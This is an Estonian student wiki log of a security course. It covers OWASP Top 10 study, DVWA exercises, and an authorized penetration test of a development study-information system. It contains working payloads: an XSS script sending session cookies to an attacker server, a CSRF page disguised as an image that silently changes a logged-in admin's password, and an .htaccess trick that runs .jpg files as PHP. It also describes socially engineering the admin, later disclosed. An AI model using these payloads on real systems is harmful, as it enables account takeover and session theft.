Security team

From ICO wiki
Jump to navigationJump to search

1. päev - Materjalidega tutvumine

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

   A1: Injection - Urmo
   A2: Cross-Site Scripting (XSS) - Alo
   A3: Broken Authentication and Session Management - Sander
   A4: Insecure Direct Object References - Alo
   A5: Cross-Site Request Forgery (CSRF) - Taavi
   A6: Security Misconfiguration - Matis
   A7: Insecure Cryptographic Storage - Matis
   A8: Failure to Restrict URL Access - Urmo
   A9: Insufficient Transport Layer Protection - Taavi
   A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: Media:Ois_materjal.pdf
Urmo esitlus: Media:Injection-Failure_URL_access.ppt

2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine

Security Team tegevusplaan

1. Päev

1.1	Tutvuda OWASP’iga. 
1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.

2. Päev

2.1	Esitada tiimi tegevusplaan.
2.2	Tutvuda turvariskidega natuke põhjalikumalt.
2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4	Täiendada esimese päeva ettekannet.

3. Päev

3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2	Saadud tulemuste dokumenteerimine.

4. Päev

4.1	Saadud tulemuste esitlemine ettekandega

5. Päev

5.1	Tulemuste parandamine wiki’s.

Alo tegevus

http://www.acunetix.com/support/vulnerability-checks.htm http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting http://www.youtube.com/watch?v=SG1cvGQ971g http://www.isecom.org/research.html http://evuln.com/tools/ http://sectools.org/tag/web-scanners/ http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/ http://www.acunetix.com/vulnerability-scanner/getting-started.htm


Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus: Acunetix Web Vulnerability Scanner v. 8 http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni. Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi. Antud programm võimaldab skännida: Cross-Site Scripting (XSS) SQL Injection (blind test) File inclusion Code Execution LDAP Injection Cross Frame Scripting SQL Injection (error msg. test) CRLF Injection Directory Travelsal XPath Injection URL Redirection Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

Urmo tegevus

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

Brute Force (DVWA)

Käsitsi välja uuritud login andmed: kasutajanimi: admin parool: password

Fireforce plugin Firefoxis

Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce. Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse. Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. Selleks sai sõna "incorrect". Määrata ära tuli ka, et mitu päringut sekundis tehakse. Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt. Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

Burpsuite v1.4

Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.

BurpSuite näidis screenshot UI'st

Programm on juba loomult keerulisem. Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080. Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta. Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema. Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki. Ründe stiiliks määrata Pitchfork. Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama. Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid. Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet. Kahjuks ka see rünne ei toiminud teadmata põhjusel. Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

CSRF - Cross-site request forgery

Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist. Võtsime lehe Source Code lahti Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele. Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole. Current Password lahtri jätsime samaks. Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin". Salvestasime faili ja käivitasime selle. Tuli ette ainult lahter Current Passwordi ja Submit nupuga. Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

Taavi tegevus

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.


Matise tegevus

Reflected Cross Site Scripting (XSS)

  • Lehel on selline Form:

  • Form väljastab : Hello „sisestatud nimi“
  • Easy puhul:
  • Saab sisestada textboxi skripti:
  • <script> alert(document.cookie.match(/PHPSESSID=[^;\]+/)); </script>
  • Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.
  • Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID:
  • <script> this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/); </script>
  • Saab kohe enda veebiserveri logidest näha Session ID’d.
    Näide logist:
  • /var/log/apache2/access.log 127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-"
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
  • Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.

Sanderi tegevus

DVWA Upload

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).

Faili üleslaadimine: madal tase

  • DVWA Security määrata: Low -> Submit
  • Valida: Upload
  • Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess
  • Üleslaetavasse *.php faili saab kirjutada php koodi: <?php var_dump($_REQUEST, $_SERVER); ?>
  • Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:
  • esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low"); teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME", "SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.

Faili üleslaadimine: keskmine tase

Faili üleslaadimine: kõrge tase

  • DVWA Security määrata: High -> Submit
  • Valida: Upload
  • Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)
  • Üleslaetavasse *.jpg faili saab kirjutada php koodi.
  • Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.
  • Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:
  • ERROR: File not found!
  • Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:
  • http://www.motobit.com/util/base64-decoder-encoder.asp
  • Moodustades loodud faili asukohast kood ja kasutades
  • data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw== üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis: http://dvwa/hackable/uploads/*.jpg

3. päev

Alo tegevus

Lihtsalt url modifitseerimisega leidsime mittekaitstud lingi:

Õppesoorituste all on võimalik laadida alla kõikide kasutajate õpingukaardid (lihtsalt tuleb otsida üles soovitud kasutaja student_id) Arvete alt peaks ka võimalik sama viga ära kasutada, aga kuna ühtegi arvet hetkel süsteemis polnud ei olnud võimalik seda viga kinnitada.

Urmo tegevus

Subgraph Vega

Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm. Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel. Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

Subgraph Vega screenshot

Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan). Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:

itcollege_OIS_SESSION_ID=sellecookiesisu1234563221

ning Finish.

Subgraph Vega screenshot ühe leitud nõrkusega

Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.


Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades. Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

Wapiti

Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. (Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga

1. katse - ÕISi keskkkonna keelevahetus
ÕISi keeleseadete menüü

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili. Koristasime mittevajaliku disaini koodi juurest ära. Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel. Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks. Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:

<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198" 
enctype="application/x-www-form-urlencoded">
 <input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
    <br>
  <input type="submit" value="Salvesta seaded" name="Savesettings">
    </form>

Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

2. katse - ÕIS'i kasutaja parooli muutmine
Dev_OIS salasõna muutmisvorm

Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu. Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele. Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks. JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.


Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt. Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:

<html>
 <head>
  <style type="text/css">
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
  </style>
 </head>
 <body>
  <body onload="document.forms.setPasswordForm.submit();">
  <form name="setPasswordForm" id="setPasswordForm" 
  action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;continue=/auth/logout"  
  method="post">
   <input type="hidden" name="user_id" value="2227" id="user_id" />
   <input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
   <input type="hidden" name="password" id="password" value="test123" />
   <input type="hidden" name="password_check" id="password_check" value="test123" />
   <input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
  </form>
 </body>
</html>
Ligisaadud adminpaneelile

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.

AddType application/x-httpd-php .php .jpg


Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha. Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga. Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole. Rünnak oli edukas.

Dev_OIS fixed

Andsime teada Valterile teada, et tegelikult tegime salajase ründe. Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada. Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

Taavi tegevus

Burp suite

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .
Ohvri valimine
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.
site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add. Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.
Spideringi sisselülitamine
Valida tab Spide ning sealt panna linnuke kasti spider running.
Ning oledki valmis saama laheküljelt infot.
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

Nessuse algkäivitamine

Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .
Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.
Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.
Järgnevalt valida nessus start.
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

Matise tegevus

Sanderi tegevus

w3af skänni seaded

Backtarcki keskkonnas sai testitud programmi w3af.

Backtrack: w3af

w3af Basic HTTP Auth
Mozilla Firefox küpsis
w3af Cookie

Võimalik kätte saada SSL Certificate. Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:

 https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
 username=KASUTAJANIMI&continue=&Login=Logi sisse&pw=PAROOL

Programmi sisestatud andmetega ka mitte:

 Configuration -> HTTP Config -> Basic HTTP Authentication:
   basicAuthUser: KASUTAJANIMI
   basicAuthPass: PAROOL
   basicAuthDomain: http://itcollege.dev.ois.ee

Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:

 Configuration -> HTTP Config -> Cookies
   cookieJarFile: /root/Desktop/ois_cookie.txt

Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:

 # Netscape HTTP Cookie File
 .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	870aqllryuw3cmf6cv8ellha03

Esimene rida on nõutav! Teiste tähendused:

 domain - The domain that created and that can read the variable.
 flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
   This value is set automatically by the browser, depending on the value you set for domain.
 path - The path within the domain that the variable is valid for.
 secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
 expiration - The UNIX time that the variable will expire on.
 name - The name of the variable.
 value - The value of the variable.

Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:

 Edit -> Preferences -> Privacy -> History -> remove individual cookies
   Search: itcollege.dev.ois.ee
   Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID


Skänneerimine:

  • The page language is: en
  • The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.
  • A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".
  • Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".
  • The username field to be used is: "username". The password field to be used is: "pw".
  • Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666
  • Antud kasutaja ja parooliga sisse ei saanud.
  • The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.
  • Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
  • The URL: "https://itcollege.dev.ois.ee/" sent these cookies:
  • itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/ itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
  • The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".
  • Kui tuleb see veateade, siis skänn katkeb.
  • The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):
  • The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery. It allows the attacker to exchange the method from POST to GET when sending data to the server. The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery. It allows the attacker to exchange the method from POST to GET when sending data to the server.
  • SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.
  • The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.". The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
  • Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt
  • User-agent: * Disallow: / Allow: /curriculum Allow: /subject Allow: /diploma Allow: /schedule/ical

4. päev - Presentatsiooni tegemine ja esitlemine

Koostasime presentatsiooni ja esitlemine.

Media:Security_team_presentation.ppt

Tegijad

Alo Konno
Urmo Lihten
Taavi Podžuks
Matis Alliksoo
Sander Saarm